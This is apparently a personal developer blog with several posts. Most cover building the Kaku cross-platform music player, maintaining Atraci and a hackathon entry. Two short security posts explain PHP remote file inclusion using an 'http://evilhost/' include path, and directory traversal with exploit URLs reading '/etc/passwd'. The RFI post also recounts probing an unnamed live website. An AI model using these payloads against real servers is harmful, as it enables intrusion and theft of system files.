[Hack] Kaku – music player for next generation

kaku_radius

每年都要花點時間做自己的 Open Source Project,而今年意外的有一個很好的題目可以來發揮 xDDD,所以就利用一些下班的時間把 Kaku 的整個雛型打造出來了!Kaku 是一個音樂播放器可以讓你自由地聽各個網路平台上面的音樂(目前支援的平台有 YouTube、Vimeo 還有 SoundCloud),算是一個各平台整台的小作品。

(先點連結看看再說:http://kaku.rocks

而在開發這個程式的時候也發生許多有趣的問題,所以想把我還記得的部分寫下來做個記錄 xD。

Node Webkit(NW.js) 起手式

因為我一開始的目標就是希望這個程式是各個作業系統的使用者都可以使用的,因此桌上型應用程式勢必是我的首選,又因為在實際寫 Kaku 之前,我有幫 Atraci 寫過一些相關的程式碼,所以對於如何操作 Node Webkit 提供的 API 有一點點研究,所以就選用 Node Webkit 當作我開發的基底。(我只是前端工程師阿阿阿)

說到 Node Webkit,他有個有趣的設計就是他提供不同的 JavaScript Context,因此你的應用程式雖然是用前端的技術打造的,但是因為可以跨用到 Node Context,所以就可以混用許多現有的 npm module 當做後端來處理資料,所以在我的設計下,在這個程式裡面就有這兩類不同的資料夾,讓程式可以很明確的切分他們的職責。

搞定開發環境

因為有過幾次合作開發 Open Source Project 的經驗,所以如果你要讓你的專案吸引其他開發者的注意力的話,那你一定要把開發環境搞定或是簡化到一個指令複製貼上就可以跑起來,要不然光是一開始就讓別人有很強烈的挫折感,那你的專案也不用期望會有多少人來幫忙開發了 xDD。

又因為 Kaku 是我想要來嘗試練習 React 的一個專案,裡面用到很多 jsx 的語法所以需要 precompile 的動作,而且又因為要把整個程式包裝成 Node Webkit 的應用程式,也需要另外做 build 的動作,因此我就用 gulp 當做我 building tool 的基底來把這些操作都包裝起來,讓開發者只要按一兩個 gulp 指令就可以了!

現在想想,一開始就把這件事情做好所帶來的效益真的很高,也真的有一些人上了一些 patch !

開心寫程式…嗎?

以前在 Mozilla 的時候,我們 app 的程式是架構在 require.js 之上以 AMD 的模式開發,所以時間久了我也漸漸的習慣了這種寫程式的方式,所以一開始的 Kaku 也是以這種方式寫的(對,之後被我全砍了)。但是時間久了我發現我漸漸的被他的東西綁住,整個 repo 開始要加入他專屬的設定檔去設定東西,最慘的就是寫測試的時候還要特別去設定一些東西才可以讓 AMD 的程式碼順利的跑在 require.js 上面。然後我記得最麻煩的是前端用的 require.js 和後端用的 require.js 無法混用,我還要特別抓一份存在 node_module (WTF),然後它對於 ES6 的支援度不知道為什麼有很多問題,所以到後面有很多東西不是沒有測試,而是我不知道要怎麼讓他成功的跑在測試環境上面所以才沒有寫,囧!

這些其實不是壓倒我的最後一根稻草,壓倒我的是 3rd-party library 對 AMD 的支援有一些問題,不知道是那些作者在寫 UMD 寫太爛還是怎樣,有時候那些判斷的順序寫錯就無法用,囧!!所以那個時候為了讓很多 3rd-party library 可以使用,還特別 fork 並改了好多個專案,雖然大多都是 quickfix 不過也是很麻煩呀!

之後,因為強者我前同事 @rickychien (Mozilla 已經變前公司了你不知道嗎 xDDD) 在這段期間內一直和我在討論引入 webpack 的事情,所以就在某兩天想說長痛不如短痛,一次改了一百多個檔案把之前 AMD 的東西全部拿掉然後把測試還有開發環境一次全部用壞之後,就成功的把程式碼全部轉過去了 xDDD(完全錯誤示範,請不要學!!)

這邊真的要慶幸之前是用 AMD 的模式寫程式,才可以把各個模組切的這麼乾淨,然後通通改用 Common js 的方式載入,然後透過 webpack 來做打包的動作,整個世界美好!

Test + CI + Documentations +++

雖然是 Open Source Project,還是要用高規格來寫程式,該有的 CI、測試、文件都沒有少(有很多還沒寫完就是了…),這些東西真的都是在你要改程式的時候才特別有感!還記得以前不知道在哪個文章上看到幾句話關於工程師最討厭做的事情(以下為大概):

  1. 寫文件
  2. 寫註解
  3. 寫測試
  4. 別人不寫文件
  5. 別人不寫註解
  6. 別人不寫測試

為了不要變成那個讓別人討厭的人,所以只好默默的把這些東西都補齊了 xDD,這些真的很重要呀!

從 NW.js 到 Electron

其實說實在的原本 NodeWebkit(NW.js) 用的好好的,只是想要嘗試一下 Github 特製的 Electron ,所以就一口氣換過去了 xDDD ,說真的之所以會想要轉換過去是覬覦他自動更新的功能,能夠讓應用程式自動更新真的很棒呀,不過研究後才發現他原生只有支援 Mac OS ,Windows 的則是要另外把他包進來,而 Linux 就什麼都沒有了 xDD,而且最麻煩的是要有提供一個 endpoint 讓他去存取得知最新版本,然後當使用者需要更新的時候才會再去相對應的載點下載。

其實想一想整個流程也是很合理啦,不過因為我不想要有伺服器來存這些東西,維護也有成本,所以我的東西都是放在 GitHub Releases 裡,因此就自己利用 GitHub API 自己簡單實做一個各平台都可以用的自動更新程式放在 Kaku 裡,讓他每次被啟動後會去判斷是否需要更新,如果使用者確認要更新後,會再把使用者導到下載程式的地方,完成半自動更新的流程(使用者唯一要多做一步的就是要自己解壓縮檔案然後覆蓋舊的程式這樣)。

說實在的 Electron 本身並沒有帶來太大的好處,一來是整合相關的 gulp 工具不多,二來是因為他的 global shortcut 的設計和 nw.js 的不一樣,需要多處理程式得到 focus 還有失去 focus 的事情(雖然也是好事啦),三來是我的程式沒有複雜到要用到很多特殊功能,所以花了很多不必要的時間 xD。不過用了就用了,有 GitHub 帶著社群開發也可以讓 Electron 更長久,持續觀注!

善用工具、改善工具

Kaku 有使用了很多社群開發的工具,盡量把主要的時間留在開發主要的商業邏輯,或是整合這些工具讓自己可以用得更順手。也因為這樣子,中間發現了一些工具的問題,這個時候要做的第一件事情就是先找找看有沒有其他更好的工具,如果沒有的話,我就會試著去 fork 那個專案然後修有問題的地方,最後再上 PR 給原作者。先不論那個 PR 會不會被接受,但至少在這個過程中,我也試著推動了輪子,試著讓這些東西變得更好,省下別人的時間。如果最後沒被 merge,笑笑也就過了是吧?

行銷!

通常程式設計師都不太會注重這一塊,但是我覺得對於 Open Source Project 來說,這一塊相當重要。這邊想講的不是說要砸多少錢買廣告幹嘛的(拜託,這是 Open Source Project 耶),而是要有一個基本的門面,至少簡單做個網頁加點程式相關的圖片嘛!不得不說在這個資訊暴炸時代,如果資訊本身不夠吸引別人,即使你改變了這個世界幾百次,也不會有任何人注意到的。

沒有人注意到這個專案,就不會有人使用你的程式,就不會有開發者加入和你開發新東西,你就會開始覺得這些東西做了不知道要幹嘛只能自 High,久了也就失去動力繼續下去了。不過至少,你可以去一些開發者論壇以技術的角度切入並和大家分享你做了這些東西,除了彼此技術的成長之外,無形當中也是一種行銷不是嗎?

所以,我就請設計師朋友幫我做了 Logo,也自己簡單的做了一個網頁展示這個程式,雖然沒有多專業但也比什麼都沒有好多了!再適時加上一點點 Social buttons ,如果有人想要分享的話自然就會分享,這樣也就夠啦!

最後最後最後

如果你沒用過 Kaku 的話,請立馬去官網下載,有什麼意見或想法都很歡迎留言給我,敬請期待下一篇文章 😛

[Hack] We are Atraci

Image Credit

Check the repository here

Stories

Few months ago, on HackerNews, I noticed there is one news talking about a desktop application called HipHop. I was curious what it was at the first glimpse, but just after using it, I was becoming one of the maintainers. As you may see, it is an music application written based on node-webkit and can be used on Windows, Linux and Mac OSX.

But sadly, because at the first, HipHop would hide the video and it would break Youtube’s ToS. In this way, HipHop was forced (?) to be taken down. And then after a while, another maintainer helped to move the code out and show the video on the application to avoid breaking ToS, and this brand-new application is called – Atraci.

So yeah, this is just a basic story about Atraci and I am currently active on this project and try to make it better to use. Hope one day this application can compete with the other applications like Spotify.

What I Learned

  1. You have to spread your investments out. Remember to share your resources with the others because you may get absent one day with any reason.
  2. It takes a lot of efforts to co-work with others.
  3. If you want to make your application cross platforms based on node-webkit, you have to make sure you have enough platforms to test with your application.

For note one, you would never know what would happen tomorrow especially in open source. For example, one of our core maintainer has to join the military services for some reasons accidentally and He is the only one who controls the domain name, s3 server and has privileges to add others into Slack. So, after he went to the army, no one can control all of them and the only way to fix this is to make a new one. This would definitely hurt experiences for users and I can’t do anything on this. All I can do is trying to transfer all of them back to Github gh-pages and maintain there. So if possible, please make sure there is always another one who can do the same thing like you.

For note two, because it’s an open source community, you can’t control too much on the skills and their habits. So its takes time to co-work with them. All you can do is trying to make some principles and tools for you like linters or something else. You need machines to help you control these stuffs because you would never know what you missed when writing codes.

For note three, this is kinda annoying too. In order to cross platforms, you rely on node-webkit to help you overcome this shit. But, sadly, there is always some fucking weird problems that you would never know and would happen only on specific platform. Because I only use Mac, so I can’t make sure the application would work on Linux and Windows, this is really scary if you are going to release builds that you have never tested on.

So after a while, I found another maintainer who can take care of Windows and Linux and I would focus on Mac and Linux. This decision really helps and makes the program better.

Some words

Except above notes, there is one more thing I need to share. Always respond quickly and don’t be afraid to make mistakes. In Atraci, there are always bugs coming up and need people to fix. All I can do is respond quickly to make them feel they are noticed, and trust me, this definitely works all the time.

Hope this helps for you guys. Stay tuned with my next post 🙂

[Hack] 2012 – Node.js Knockout

Image Credit

這是我第一次參加 Hackathon,雖然平常也沒什麼特別在寫 Node.js,頂多只有用 Express.js 試著架一些小東西來玩玩而已,不過還是憑著一股衝勁和 @bu 以 hahahaha ( hax4 ) 的名義參賽。說真的,我們也只有特別約出來吃一次飯,然後討論看看有什麼有趣的東西可以做,就在一陣東刪西減之後得到了一個明確的主題,那就是要做一個可以「動態捕捉使用者在網站上的各種行為」的外掛,同時還可以把資料記錄下來再做一個重播的動作,讓 Host 知道用戶在使用網站時的各種行為(目前是記錄 Click 和 mousemove 兩種)。

而我們的作品就是 Capturer !

很開心的就是這個 Idea 被大家所認同,所以最後得到第二名的成績!這一切都要感謝強者我隊友強大的後端實作能力,我只負責前端的行為記錄、呈現還有和後端溝通,還有研究 nodejitsu deploy 的一些細節而已,整個就是微不足道的小廢角。

廢話不多說,我真正想講的是這次 Hackathon 教我的東西:

很多時候,我們都眼高手低並空談著許多名為夢想的東西,同時卻又因為現實的工作的壓迫壓力而抹滅掉熱情,所以這種時候透過比賽這種強制手段來逼自己成長與學習了,一個兩天的比賽換來一個作品的 prototype ,同時也測試著這個團隊的合作能力,整個就是 Target-driven(動機導向) 的開發模式呀。

最後,Capturer 的使用方式還有介紹就麻煩到 神人的 Blog 去看啦,我們會努力在明年讓這個系統上線的,加油 !!

 

[Hack] Remote File Inclusion

之前意外的發現一個web可以透過RFI的方式進入,但是我一直try都沒有辦法讓他include正確的外部phpinfo.php,結果在今天意外的看到一篇文章才了解到問題所在:


<?php
include($dir."/ attack.php");
?>

上例中“$dir”一般是一個在執行代碼前已經設定好的路徑,如果攻擊者能夠使得“$dir”沒有被設定的話,那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情,因為他們只能在他們指定的路徑中訪問檔案“attack.php”。但是由於有了對遠程檔案的支援,攻擊者就可以做任何事情。例如,攻擊者可以在某台伺服器上放一個檔案“attack.php”,裡麵包含了惡意代碼,然後把“$dir”設定為“http://evilhost/”,這樣我們就可以在目標主機上執行上面的惡意代碼,將結果返回到客戶的瀏覽器中。

需要注意的是,攻擊伺服器(也就是evilhost)應該不能執行PHP代碼,否則攻擊代碼會在攻擊伺服器,而不是目標伺服器執行。

…取自Phate

所以可以了解的是,因為我之前是直接include到我的機器上,所以該phpinfo.php顯示的是我自己機器的資料,這樣是我無法接受的。於是改上傳到一個沒有能夠解析.php的空間上,用RFI直接include就可以了。

前提: 該server的php.ini要有開啟allow_url_fopen or allow_url_include,這樣RFI才會成功,要注意一下。

[Hack] Directory Traversal

來講一下Directory Traversal , 會想講的原因是因為有意外看到相關的資訊是藉由 DT 而跑出來的..

Live Demo(index.php):

<?php
//初始化參數
if(!$path)
{
$path="test";
$xpath ="";
}

define("PATHFIELD",0);
define("FILEFIELD",1);
define("EXTFIELD",2);

$class="xxxxxx"; //類別,在每個目錄的class.conf.php中有紀錄,若無則保持空白
$filecount=0; //Count file(not directory) num
$dircount=0; //Count dir num

$dir=@opendir($path);

//讀取目錄資料並至於陣列當中
while($file=@readdir($dir))
{
if(is_dir("$path/$file"))
{
if($file=="."||$file=="..")
continue;
$examdir[$dircount++]="$file";
}
else if(is_file("$path/$file"))
{
if($file=="class.conf.php")
require("$path/$file"); //取得目錄提示資料
$exten=substr($file,-3,3); //Get file extention
if(!strcasecmp($exten,"pdf")||!strcasecmp($exten,"gif")||!strcasecmp($exten,"zip"))
{
$examfile["$filecount"][PATHFIELD]="$path/$file";
$examfile["$filecount"][FILEFIELD]="$file";
$examfile["$filecount"][EXTFIELD]="$exten";
$filecount++;
}
}
}

討論:

從最前面就可以看到 , Programmer 在設計這個頁面的時候 , 並沒有考慮到 DT 的問題 , 所以就沒有對一些具有攻擊性的字做filter or 白名單過濾 , 所以當 $path 來個 “../” 就掰囉~從父目錄一直到根目錄都一覽無遺…

Demo PHP Code 1(index.php):

<?php
readfile('/home/xx/file/'.$_GET['file']);
?>

Exploit:

http://target/index.php?file=../../etc/passwd

討論:

結果Unix Like的passwd的檔案就會被顯示出來 = =”…

Demo PHP Code 2(index.php):

<?php
readfile('/home/xx/file/'.$_GET['file'].'.dat');
?>

Exploit:

http://target/index.php?file=../../etc/passwd

討論:

利用 NULL character 來把後面的.dat給無用化 , 這樣就可以讀到passwd的內容了..

防範:

利用basename()把後面的東西做filter , 像是在$path那邊可以改成這樣 ,

$path = str_replace('.','',$path);
$true_path = "/www/".basename($path);

則所有的’.’都會被換成’ ‘,這樣就可以再依個人需求做變化 , 大致上應該是不會有太多問題了